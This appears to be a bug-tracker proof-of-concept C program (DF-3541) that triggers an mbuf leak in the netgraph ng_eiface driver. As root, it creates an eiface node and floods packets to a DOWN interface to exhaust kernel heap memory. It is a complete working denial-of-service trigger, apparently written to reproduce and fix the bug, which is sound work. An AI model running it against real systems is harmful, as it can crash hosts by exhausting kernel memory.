DF-3541 / eiface_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 | /* * DF-3541 trigger -- v1 ng_eiface: ng_eiface_rcvdata() returns ENETDOWN * WITHOUT freeing the mbuf (sys/netgraph/eiface/ng_eiface.c:514-515). * Every packet delivered to the "ether" hook of a DOWN ngethX interface * leaks one mbuf (+cluster for >MHLEN packets) -- unbounded kernel heap * exhaustion. * * The ng7 twin frees explicitly (NG_FREE_M) before the same return * (sys/netgraph7/eiface/ng_eiface.c rcvdata), proving the deviation. * * v1 user ABI (sys/netgraph/ng_message.h): NG_VERSION 2, u_int16_t arglen, * header field order flags/token/typecookie/cmd. * * Build: cc -O2 -o eiface_leak eiface_leak.c * Run (root, with v1 netgraph.ko + ng_socket.ko + DF-3486-patched * ng_eiface.ko loaded): ./eiface_leak <count> <buflen> */ #include <sys/types.h> #include <sys/socket.h> #include <sys/fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define AF_NG 32 #define NG_CONTROL 2 #define NG_DATA 1 #define NG_VERSION 2 /* v1! */ #define GEN_COOKIE 851672668 /* v1 NGM_GENERIC_COOKIE */ #define EIFACE_COOKIE 948105892 /* NGM_EIFACE_COOKIE */ #define NGM_MKPEER 2 #define NGM_NAME 4 #define NGM_EIFACE_GET_IFNAME 1 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 /* v1: NG_HOOKSIZ 32 */ #define NG_NODESIZ 32 #define NG_CMDSTRSIZ 32 struct ngm_hdr_ { u_char version; u_char spare; u_int16_t arglen; u_int32_t flags; u_int32_t token; u_int32_t typecookie; u_int32_t cmd; char cmdstr[NG_CMDSTRSIZ]; }; struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; }; struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name_ { char name[NG_NODESIZ]; }; /* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */ struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; }; static u_int32_t tok = 0x5100; static int ngc(int cs, const char *path, u_int cookie, u_int cmd, const void *arg, size_t arglen) { struct ng_mesg_ m; struct sockaddr_ng_ sa; ssize_t n; memset(&m, 0, sizeof(m)); m.header.version = NG_VERSION; m.header.arglen = arglen; m.header.cmd = cmd; m.header.token = ++tok; m.header.typecookie = cookie; if (arglen) memcpy(m.data, arg, arglen); memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path); sa.sg_len = 2 + strlen(sa.sg_data) + 1; n = sendto(cs, &m, sizeof(m.header) + arglen, 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0) return (-1); return (0); } int main(int argc, char **argv) { struct ngm_mkpeer_ mkp; struct ngm_name_ nm; struct ng_mesg_ reply; struct sockaddr_ng_ sa; static char buf[9216]; int cs, ds, i, count = (argc > 1) ? atoi(argv[1]) : 500; size_t blen = (argc > 2) ? (size_t)atoi(argv[2]) : 2048; int rcvbuf = 1; int waitsec = (argc > 3) ? atoi(argv[3]) : 0; /* pre-send delay */ if (argc > 4) rcvbuf = atoi(argv[4]); /* 1 = print recv'd replies */ printf("eiface_leak: uid=%d count=%d buflen=%zu wait=%d\n", getuid(), count, blen, waitsec); fflush(stdout); cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { printf("RESULT control-socket errno=%d (%s)\n", errno, strerror(errno)); if (errno == EPERM) printf("RESULT unpriv-gated: v1 ngc_attach " "caps_priv_check -> EPERM (root-only trigger)\n"); exit(0); } /* v1: name via bind() (synchronous), then use getsockname's "[id]:" */ memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; strcpy(sa.sg_data, "eileak"); sa.sg_len = 2 + strlen(sa.sg_data) + 1; if (bind(cs, (struct sockaddr *)&sa, sa.sg_len) < 0) printf("STEP bind name failed errno=%d (continuing)\n", errno); { socklen_t slen = sizeof(sa); memset(&sa, 0, sizeof(sa)); if (getsockname(cs, (struct sockaddr *)&sa, &slen) < 0) printf("STEP getsockname errno=%d\n", errno); else printf("STEP node addr = [%s]\n", sa.sg_data); } fflush(stdout); ds = socket(AF_NG, SOCK_DGRAM, NG_DATA); if (ds < 0) { printf("RESULT data-socket errno=%d\n", errno); exit(1); } { socklen_t slen = sizeof(sa); memset(&sa, 0, sizeof(sa)); if (getsockname(cs, (struct sockaddr *)&sa, &slen) < 0) { printf("RESULT getsockname errno=%d\n", errno); exit(1); } /* bare name -> absolute node address needs the trailing ':' */ if (strchr(sa.sg_data, ':') == NULL) strcat(sa.sg_data, ":"); sa.sg_len = 2 + strlen(sa.sg_data) + 1; if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) { printf("RESULT data-connect errno=%d (%s) addr=[%s]\n", errno, strerror(errno), sa.sg_data); exit(1); } } memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "eiface"); strcpy(mkp.ourhook, "ether"); strcpy(mkp.peerhook, "ether"); if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { printf("RESULT mkpeer errno=%d (%s)\n", errno, strerror(errno)); exit(1); } printf("STEP mkpeer eiface ok\n"); fflush(stdout); sleep(2); /* let DF-3486 deferred ether_ifattach thread run */ if (waitsec > 0) { printf("STEP waiting %ds (bring the interface UP now)\n", waitsec); fflush(stdout); sleep(waitsec); } /* Confirm the interface exists and is DOWN */ if (ngc(cs, "ether", EIFACE_COOKIE, NGM_EIFACE_GET_IFNAME, "ether", 6) == 0) { if (rcvbuf) { ssize_t n = recv(cs, &reply, sizeof(reply), 0); if (n >= (ssize_t)sizeof(reply.header) + 4) printf("STEP ifname=%s\n", reply.data); } } else printf("STEP get_ifname errno=%d\n", errno); fflush(stdout); memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; strcpy(sa.sg_data, "ether"); sa.sg_len = 2 + strlen(sa.sg_data) + 1; for (i = 0; i < count; i++) { ssize_t n = sendto(ds, buf, blen, 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0 && i == 0) printf("STEP first sendto errno=%d (%s)\n", errno, strerror(errno)); } printf("STEP sent %d x %zu bytes\n", count, blen); fflush(stdout); /* drain any stray replies */ if (rcvbuf) { fcntl(cs, F_SETFL, O_NONBLOCK); while (recv(cs, &reply, sizeof(reply), 0) >= 0) ; } sleep(1); printf("RESULT done\n"); return (0); } |